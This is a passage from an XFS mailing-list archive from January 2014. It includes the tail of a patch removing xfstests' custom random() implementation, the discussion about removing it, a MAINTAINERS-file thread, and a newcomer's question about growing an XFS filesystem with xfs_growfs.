2.0)) > -/* i.e. 2 to power -31 */ > - > -static int32_t mt [128] = { > - 902906369, > - 2030498053, > - -473499623, > - 1640834941, > - 723406961, > - 1993558325, > - -257162999, > - -1627724755, > - 913952737, > - 278845029, > - 1327502073, > - -1261253155, > - 981676113, > - -1785280363, > - 1700077033, > - 366908557, > - -1514479167, > - -682799163, > - 141955545, > - -830150595, > - 317871153, > - 1542036469, > - -946413879, > - -1950779155, > - 985397153, > - 626515237, > - 530871481, > - 783087261, > - -1512358895, > - 1031357269, > - -2007710807, > - -1652747955, > - -1867214463, > - 928251525, > - 1243003801, > - -2132510467, > - 1874683889, > - -717013323, > - 218254473, > - -1628774995, > - -2064896159, > - 69678053, > - 281568889, > - -2104168611, > - -165128239, > - 1536495125, > - -39650967, > - 546594317, > - -725987007, > - 1392966981, > - 1044706649, > - 687331773, > - -2051306575, > - 1544302965, > - -758494647, > - -1243934099, > - -75073759, > - 293132965, > - -1935153095, > - 118929437, > - 807830417, > - -1416222507, > - -1550074071, > - -84903219, > - 1355292929, > - -380482555, > - -1818444007, > - -204797315, > - 170442609, > - -1636797387, > - 868931593, > - -623503571, > - 1711722209, > - 381210981, > - -161547783, > - -272740131, > - -1450066095, > - 2116588437, > - 1100682473, > - 358442893, > - -1529216831, > - 2116152005, > - -776333095, > - 1265240893, > - -482278607, > - 1067190005, > - 333444553, > - 86502381, > - 753481377, > - 39000101, > - 1779014585, > - 219658653, > - -920253679, > - 2029538901, > - 1207761577, > - -1515772851, > - -236195711, > - 442620293, > - 423166617, > - -1763648515, > - -398436623, > - -1749358155, > - -538598519, > - -652439379, > - 430550625, > - -1481396507, > - 2093206905, > - -1934691747, > - -962631983, > - 1454463253, > - -1877118871, > - -291917555, > - -1711673279, > - 201201733, > - -474645415, > - -96764739, > - -1587365199, > - 1945705589, > - 1303896393, > - 1744831853, > - 381957665, > - 2135332261, > - -55996615, > - -1190135011, > - 1790562961, > - -1493191723, > - 475559465, > - 69069 > - }; > - > -double > -_random (int32_t is [2]) > -{ > - int32_t it, leh, nit; > - > - it = is [0]; > - leh = is [1]; > - if (it <= 0) > - it = (it + it) ^ MASK; > - else > - it = it + it; > - nit = it - 1; > -/* to ensure all-ones pattern omitted */ > - leh = leh * mt[nit & 127] + nit; > - is [0] = it; is [1] = leh; > - if (leh < 0) leh = ~leh; > - return (SCALE * ((int32_t) (leh | 1))); > -} > - > - > - > -int32_t > -_irandm (int32_t is [2]) > -{ > - int32_t it, leh, nit; > - > - it = is [0]; > - leh = is [1]; > - if (it <= 0) > - it = (it + it) ^ MASK; > - else > - it = it + it; > - nit = it - 1; > -/* to ensure all-ones pattern omitted */ > - leh = leh * mt[nit & 127] + nit; > - is [0] = it; is [1] = leh; > - if (leh < 0) leh = ~leh; > - return (leh); > -} > - > -/* > - * make this a drop in replacement for random and srandom > - * > - * XXX not thread safe I guess. > - */ > - > -static int32_t saved_seed[2]; > - > -long random(void) > -{ > - return _irandm(saved_seed); > -} > - > -void srandom(unsigned seed) > -{ > - saved_seed[0]=seed; > - saved_seed[1]=0; > - _irandm(saved_seed); > -} > - > From prvs=60833a79cb=jbacik@fb.com Mon Jan 6 15:42:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CBAFA7F37 for ; Mon, 6 Jan 2014 15:42:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A9DDA304039 for ; Mon, 6 Jan 2014 13:42:18 -0800 (PST) X-ASG-Debug-ID: 1389044537-04cb6c537cc44bf0001-NocioJ Received: from mx0b-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id iXazkK1SoqRFxzDd for ; Mon, 06 Jan 2014 13:42:17 -0800 (PST) X-Barracuda-Envelope-From: prvs=60833a79cb=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004060 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s06LQU7j030366; Mon, 6 Jan 2014 13:42:17 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=m2Vb6vYDyV9vY5KgrnrxueEEbpu3cV6JjDBm8Il3RxQ=; b=TPPGEWfVyxeWQ9JzFDLH32nlK6KTt4s+zKzmPcOMk8v09CIwucUdS+akpmFruZxtUXGz LMEoeHCqqw93FW0gXCMzhg+rL6doEk8oeZJVZsbWEvaDcgxzit7DibNbCKOpFjKwZRoD A848HXmpLTtlcn/h5M7vdEHkXF8e0xFagms= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1h7qgpaecd-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 06 Jan 2014 13:42:17 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.11) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 6 Jan 2014 13:42:15 -0800 Message-ID: <52CB2336.2060009@fb.com> Date: Mon, 6 Jan 2014 16:42:14 -0500 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , , Subject: Re: [PATCH] xfstests: kill lib/random.c References: <1389038323-8304-1-git-send-email-jbacik@fb.com> <52CB20ED.1010705@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: kill lib/random.c In-Reply-To: <52CB20ED.1010705@redhat.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-06_04:2014-01-06,2014-01-06,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=2.54807935862189e-09 kscore.compositescore=0 circleOfTrustscore=104.175033599216 compositescore=0.999738115633958 urlsuspect_oldscore=0.999738115633958 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.999738115633958 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401060149 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1389044537 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/06/2014 04:32 PM, Eric Sandeen wrote: > On 1/6/14, 1:58 PM, Josef Bacik wrote: >> I was trying to reproduce something with fsx and I noticed that no matter what >> seed I set I was getting the same file. Come to find out we are overloading >> random() with our own custom horribleness for some unknown reason. So nuke the >> damn thing from orbit and rely on glibc's random(). With this fix the -S option >> actually does something with fsx. Thanks, > Hm, old comments seem to indicate that this was done to make random > behave the same on different architectures (i.e. same result from same seed, > I guess?) I . . . don't know if that is true of glibc's random(), is it? > > I'd like to dig into the history just a bit before we yank this, just to > be sure. I think that if we need the output to match based on a predictable random() output then we've lost already. We shouldn't be checking for specific output (like inode numbers or sizes etc) that are dependant on random()'s behaviour, and if we are we need to fix those tests. So even if that is why it was put in place originally I'd say it is high time we ripped it out and fixed up any tests that rely on this behaviour. Thanks, Josef From sandeen@redhat.com Mon Jan 6 15:47:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9A2877F37 for ; Mon, 6 Jan 2014 15:47:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 86F4A304039 for ; Mon, 6 Jan 2014 13:47:05 -0800 (PST) X-ASG-Debug-ID: 1389044820-04cb6c537dc44ff0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id YJmBXis3CcaXv1Fm for ; Mon, 06 Jan 2014 13:47:00 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s06LkxtY014535 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Jan 2014 16:46:59 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s06Lkwrp024373 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Jan 2014 16:46:59 -0500 Message-ID: <52CB2452.70507@redhat.com> Date: Mon, 06 Jan 2014 15:46:58 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Josef Bacik , linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: kill lib/random.c References: <1389038323-8304-1-git-send-email-jbacik@fb.com> <52CB20ED.1010705@redhat.com> <52CB2336.2060009@fb.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: kill lib/random.c In-Reply-To: <52CB2336.2060009@fb.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389044820 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/6/14, 3:42 PM, Josef Bacik wrote: > > On 01/06/2014 04:32 PM, Eric Sandeen wrote: >> On 1/6/14, 1:58 PM, Josef Bacik wrote: >>> I was trying to reproduce something with fsx and I noticed that no matter what >>> seed I set I was getting the same file. Come to find out we are overloading >>> random() with our own custom horribleness for some unknown reason. So nuke the >>> damn thing from orbit and rely on glibc's random(). With this fix the -S option >>> actually does something with fsx. Thanks, >> Hm, old comments seem to indicate that this was done to make random >> behave the same on different architectures (i.e. same result from same seed, >> I guess?) I . . . don't know if that is true of glibc's random(), is it? >> >> I'd like to dig into the history just a bit before we yank this, just to >> be sure. > > I think that if we need the output to match based on a predictable > random() output then we've lost already. We shouldn't be checking for > specific output (like inode numbers or sizes etc) that are dependant > on random()'s behaviour, and if we are we need to fix those tests. So > even if that is why it was put in place originally I'd say it is high > time we ripped it out and fixed up any tests that rely on this > behaviour. Thanks, Yeah, you're probably right. And the ancient xfstests history seems to be lost in the mists of time, at least as far as I can see. So I'm ok with this but let's let Dave & SGI chime in too just to be certain. Thanks, -Eric > Josef From rjohnston@sgi.com Mon Jan 6 15:56:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9B6177F37 for ; Mon, 6 Jan 2014 15:56:39 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay1.corp.sgi.com (Postfix) with ESMTP id 73B0E8F8033 for ; Mon, 6 Jan 2014 13:56:39 -0800 (PST) Received: from [134.15.1.139] (134.15.1.139) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 6 Jan 2014 15:56:38 -0600 Message-ID: <52CB2696.2060103@sgi.com> Date: Mon, 6 Jan 2014 15:56:38 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [ANNOUNCE] xfsprogs; for-3.1.12 branch created. Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.1.139] The 'for-3.1.12' branch based on 3.1.11 has been pushed to oss. Thanks --Rich From zwu.kernel@gmail.com Mon Jan 6 15:57:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 140517F37 for ; Mon, 6 Jan 2014 15:57:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9EBF5AC002 for ; Mon, 6 Jan 2014 13:57:10 -0800 (PST) X-ASG-Debug-ID: 1389045429-04bdf00fe05360c0001-NocioJ Received: from mail-oa0-f49.google.com (mail-oa0-f49.google.com [209.85.219.49]) by cuda.sgi.com with ESMTP id N0K64Y4BNnYGhwD4 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 06 Jan 2014 13:57:09 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.49 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.49] Received: by mail-oa0-f49.google.com with SMTP id i4so19270597oah.8 for ; Mon, 06 Jan 2014 13:57:09 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.49] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.49] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Kglbt3cEEoix3nN/1WRuBLwMDdeMg+e1GuETCMLiYQ8=; b=zFpxd0PQEFWsmk667orQxaE3eTYaiZxlczZE1eA3BYNeW+z0X1A/6YRsytfVxdwhMr AIOYuVCy2DDmg5ZMXTvi2xgYxxluCgHDOp2OKkLTwN8kmWYZFuZLiL6WdtNp0kd1l8q+ uCKtBOuE8XCoWxcyLqGHYQop5VjPE4+Vqy810TCvRyUnhNg3/uVeVsco34L3CyHK5mBA dxfLOAELZFSq9MzMC5KxD1tF4M1w5hIOyQ2IgrW8duSG92AI9OR+Jj6h8R8InpYTQN3s s/+6UCUGlEsUkXiCe8Zyq9PECsdqTm7NHAJK2TCE45yg/NQbLG+0J9V65puIW8NU1T+q zMGA== MIME-Version: 1.0 X-Received: by 10.182.220.99 with SMTP id pv3mr72961635obc.37.1389045428909; Mon, 06 Jan 2014 13:57:08 -0800 (PST) Received: by 10.182.248.201 with HTTP; Mon, 6 Jan 2014 13:57:08 -0800 (PST) In-Reply-To: <20131216152053.GB12360@infradead.org> References: <1386935393-23559-1-git-send-email-zwu.kernel@gmail.com> <20131213163131.GC20803@infradead.org> <20131213202747.GL1935@sgi.com> <20131213220110.GW10988@dastard> <20131216152053.GB12360@infradead.org> Date: Tue, 7 Jan 2014 05:57:08 +0800 Message-ID: Subject: Re: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file To: Christoph Hellwig Cc: Dave Chinner , Ben Myers , Zhi Yong Wu , xfstests Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-oa0-f49.google.com[209.85.219.49] X-Barracuda-Start-Time: 1389045429 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143805 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Dec 16, 2013 at 11:20 PM, Christoph Hellwig wrote: > On Sat, Dec 14, 2013 at 09:01:10AM +1100, Dave Chinner wrote: >> Well, I stand by what I wrote in that thread. There is absolutely >> nothing wrong with having xfs@oss.sgi.com listed as a maintainer; >> different and unusual doesn't mean it is wrong. > > I think life is much better if XFS follows the usual convention. We I agree so, and guess that some guy will submit the same patch later. We will have to roll back to this discussion again. > already drill into submitters heads that they should send patches and > questions to the list for the whole kernel, and the angry behaviour of > many maintainers when they get personal mail helps with that, too. > > Given that we already have maintainers names listed, and the list in the > proper field I also can't see what this should buy us. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Regards, Zhi Yong Wu From dfitzger@nvrinc.com Mon Jan 6 16:11:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2F1117F37 for ; Mon, 6 Jan 2014 16:11:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0A794304043 for ; Mon, 6 Jan 2014 14:11:37 -0800 (PST) X-ASG-Debug-ID: 1389046291-04cbb04168c3d6d0001-NocioJ Received: from mail.nvrinc.com (mail.nvrinc.com [204.96.165.75]) by cuda.sgi.com with ESMTP id mLBe5oSrcCDVOjaO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 06 Jan 2014 14:11:32 -0800 (PST) X-Barracuda-Envelope-From: dfitzger@nvrinc.com X-Barracuda-Apparent-Source-IP: 204.96.165.75 Received: from pps.filterd (vmdcdmzgw03prd.dmz.net [127.0.0.1]) by vmdcdmzgw03prd.dmz.net (8.14.5/8.14.5) with SMTP id s06MATp8008543 for ; Mon, 6 Jan 2014 17:11:31 -0500 Received: from dcex02prd.nvrinc.com (dcex02prd.nvrinc.com [10.6.1.11]) by vmdcdmzgw03prd.dmz.net with ESMTP id 1h82st8hgy-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT) for ; Mon, 06 Jan 2014 17:11:31 -0500 Received: from DCEX01PRD.nvrinc.com ([fe80::d506:da67:2269:43c7]) by DCEX02PRD.nvrinc.com ([fe80::401f:5721:921a:b2eb%19]) with mapi id 14.02.0283.003; Mon, 6 Jan 2014 17:11:30 -0500 From: "Fitzgerald, Dan" To: "xfs@oss.sgi.com" Subject: noob question Thread-Topic: noob question X-ASG-Orig-Subj: noob question Thread-Index: Ac8LKkeBmPU3Ah8HQWG9fouoybaarQ== Date: Mon, 6 Jan 2014 22:11:30 +0000 Message-ID: <15F45A6CEAEFE340A264C3346D71EF04C4C339@DCEX01PRD.nvrinc.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.5.1.30] Content-Type: multipart/alternative; boundary="_000_15F45A6CEAEFE340A264C3346D71EF04C4C339DCEX01PRDnvrincco_" MIME-Version: 1.0 X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-06_04:2014-01-06,2014-01-06,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 kscore.is_bulkscore=5.55111512312578e-17 kscore.compositescore=0 circleOfTrustscore=0.016 compositescore=0.830887510204391 urlsuspect_oldscore=0.997325925509478 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=2 rbsscore=0.830887510204391 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=-1020 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401060159 X-Barracuda-Connect: mail.nvrinc.com[204.96.165.75] X-Barracuda-Start-Time: 1389046292 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143805 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message --_000_15F45A6CEAEFE340A264C3346D71EF04C4C339DCEX01PRDnvrincco_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I had our VMWare admin extend the file system on which /space is mounted (/= dev/sda8). I'm trying to expand the file system. In the short time I've bee= n researching, it appears that I want to use xfs_growfs. I'm both a debian and xfs noob, used to AIX. This is the first day of my se= cond week here, and as I'm the closest thing here to a linux admin, I get t= he opportunity to learn. This is a box that is not yet in production, and t= he anticipation is that the /space directory will need to be twice its' cur= rent size once the real data starts showing up. System specifics: root@thisbox:/# xfs_repair -V xfs_repair version 3.1.7 root@thisbox:/# uname -a Linux vmdamims01apl 3.10-0.bpo.2-amd64 #1 SMP Debian 3.10.5-1~bpo70+1+ims1 = (2013-08-19) x86_64 GNU/Linux Here's what I get when I try to use xfs_growfs, both the -d and the -D opti= on (the 25000000 size is an arbitrary number above 19323392): root@vmdamims01apl:/# xfs_growfs -d /space meta-data=3D/dev/sda8 isize=3D256 agcount=3D4, agsize=3D483= 0848 blks =3D sectsz=3D512 attr=3D2 data =3D bsize=3D4096 blocks=3D19323392, imaxpc= t=3D25 =3D sunit=3D0 swidth=3D0 blks naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 log =3Dinternal bsize=3D4096 blocks=3D9435, version=3D= 2 =3D sectsz=3D512 sunit=3D0 blks, lazy-coun= t=3D1 realtime =3Dnone extsz=3D4096 blocks=3D0, rtextents=3D0 data size 19323391 too small, old size is 19323392 root@vmdamims01apl:/# xfs_growfs -D 25000000 /space meta-data=3D/dev/sda8 isize=3D256 agcount=3D4, agsize=3D483= 0848 blks =3D sectsz=3D512 attr=3D2 data =3D bsize=3D4096 blocks=3D19323392, imaxpc= t=3D25 =3D sunit=3D0 swidth=3D0 blks naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 log =3Dinternal bsize=3D4096 blocks=3D9435, version=3D= 2 =3D sectsz=3D512 sunit=3D0 blks, lazy-coun= t=3D1 realtime =3Dnone extsz=3D4096 blocks=3D0, rtextents=3D0 data size 25000000 too large, maximum is 19323391 df -k . says this: /space# df -k . Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda8 77255828 15375660 61880168 20% /space Any help in getting me on track appreciated: don't mind doing the work & th= e reading, quite willing to be self-sufficient, but a shove in the right di= rection would be a great help. One thing I'd like to do is see what space i= s actually available: I'm told that the presented disk was extended by 150G= b in VMWare. How can I verify that? Thanks! Regards, Dan _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _= _ _ _ _ _ _ _ _ _ _ _ _ This email is confidential and intended solely for= the use of the individual to whom it is addressed. If you have received th= is email in error please contact the sender and be advised that any use, di= ssemination, forwarding, printing, or copying of this email is strictly pro= hibited. The terms for the purchase and sale of any property referenced in = this email shall be solely determined by a ratified Purchase Agreement. Any= information provided in this email, including but not limited to, pricing,= financing, features of a property and/or community, is not to be construed= as the basis of the bargain for the purchase and sale of any such property= . --_000_15F45A6CEAEFE340A264C3346D71EF04C4C339DCEX01PRDnvrincco_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I had our VMWare admin extend the file system on whi= ch /space is mounted (/dev/sda8). I’m trying to expand the file syste= m. In the short time I’ve been researching, it appears that I want to= use xfs_growfs.

 

I’m both a debian and xfs noob, used to AIX. T= his is the first day of my second week here, and as I’m the closest t= hing here to a linux admin, I get the opportunity to learn. This is a box t= hat is not yet in production, and the anticipation is that the /space directory will need to be twice its’ current size= once the real data starts showing up.

 

System specifics:

 

root@thisbox:/# xfs_repair -V

xfs_repair version 3.1.7

 

root@thisbox:/# uname -a

Linux vmdamims01apl 3.10-0.bpo.2-amd64 #1 SMP Debian= 3.10.5-1~bpo70+1+ims1 (2013-08-19) x86_64 GNU/Linux

 

Here’s what I get when I try to use xfs_growfs= , both the –d and the –D option (the 25000000 size is an arbitr= ary number above 19323392):

 

= root@vmdamims01apl:/# xfs_growfs -d /space

= meta-data=3D/dev/sda8         =      isize=3D256    agcount=3D4, agsize= =3D4830848 blks

=          =3D    = ;            &n= bsp;      sectsz=3D512   attr=3D2=

= data     =3D       &= nbsp;           &nbs= p;   bsize=3D4096   blocks=3D19323392, imaxpct=3D25

=          =3D    = ;            &n= bsp;      sunit=3D0      = swidth=3D0 blks

= naming   =3Dversion 2       &n= bsp;      bsize=3D4096   ascii-ci=3D0

= log      =3Dinternal     =           bsize=3D4096  &= nbsp;blocks=3D9435, version=3D2

=          =3D    = ;            &n= bsp;      sectsz=3D512   sunit=3D0 blks,= lazy-count=3D1

= realtime =3Dnone          = ;         extsz=3D4096   = blocks=3D0, rtextents=3D0

= data size 19323391 too small, old size is 19323392

=  

= root@vmdamims01apl:/# xfs_growfs -D 25000000 /space

= meta-data=3D/dev/sda8         =      isize=3D256    agcount=3D4, agsize= =3D4830848 blks

=          =3D    = ;            &n= bsp;      sectsz=3D512   attr=3D2=

= data     =3D       &= nbsp;           &nbs= p;   bsize=3D4096   blocks=3D19323392, imaxpct=3D25

=          =3D    = ;            &n= bsp;      sunit=3D0      = swidth=3D0 blks

= naming   =3Dversion 2       &n= bsp;      bsize=3D4096   ascii-ci=3D0

= log      =3Dinternal     =           bsize=3D4096 &n= bsp; blocks=3D9435, version=3D2

=          =3D    = ;            &n= bsp;      sectsz=3D512   sunit=3D0 blks,= lazy-count=3D1

= realtime =3Dnone          = ;         extsz=3D4096   = blocks=3D0, rtextents=3D0

= data size 25000000 too large, maximum is 19323391

=  

= df –k . says this:

=  

= /space# df -k .

= Filesystem     1K-blocks     Used A= vailable Use% Mounted on

= /dev/sda8       77255828 15375660  61880= 168  20% /space

=  

= Any help in getting me on track appreciated: don’t mind doing the wor= k & the reading, quite willing to be self-sufficient, but a shove in th= e right direction would be a great help. One thing I’d like to do is see what space is actually available: I’m told that the pre= sented disk was extended by 150Gb in VMWare. How can I verify that? Thanks!=

=  

= Regards,

=  

= Dan

 

 

 

 

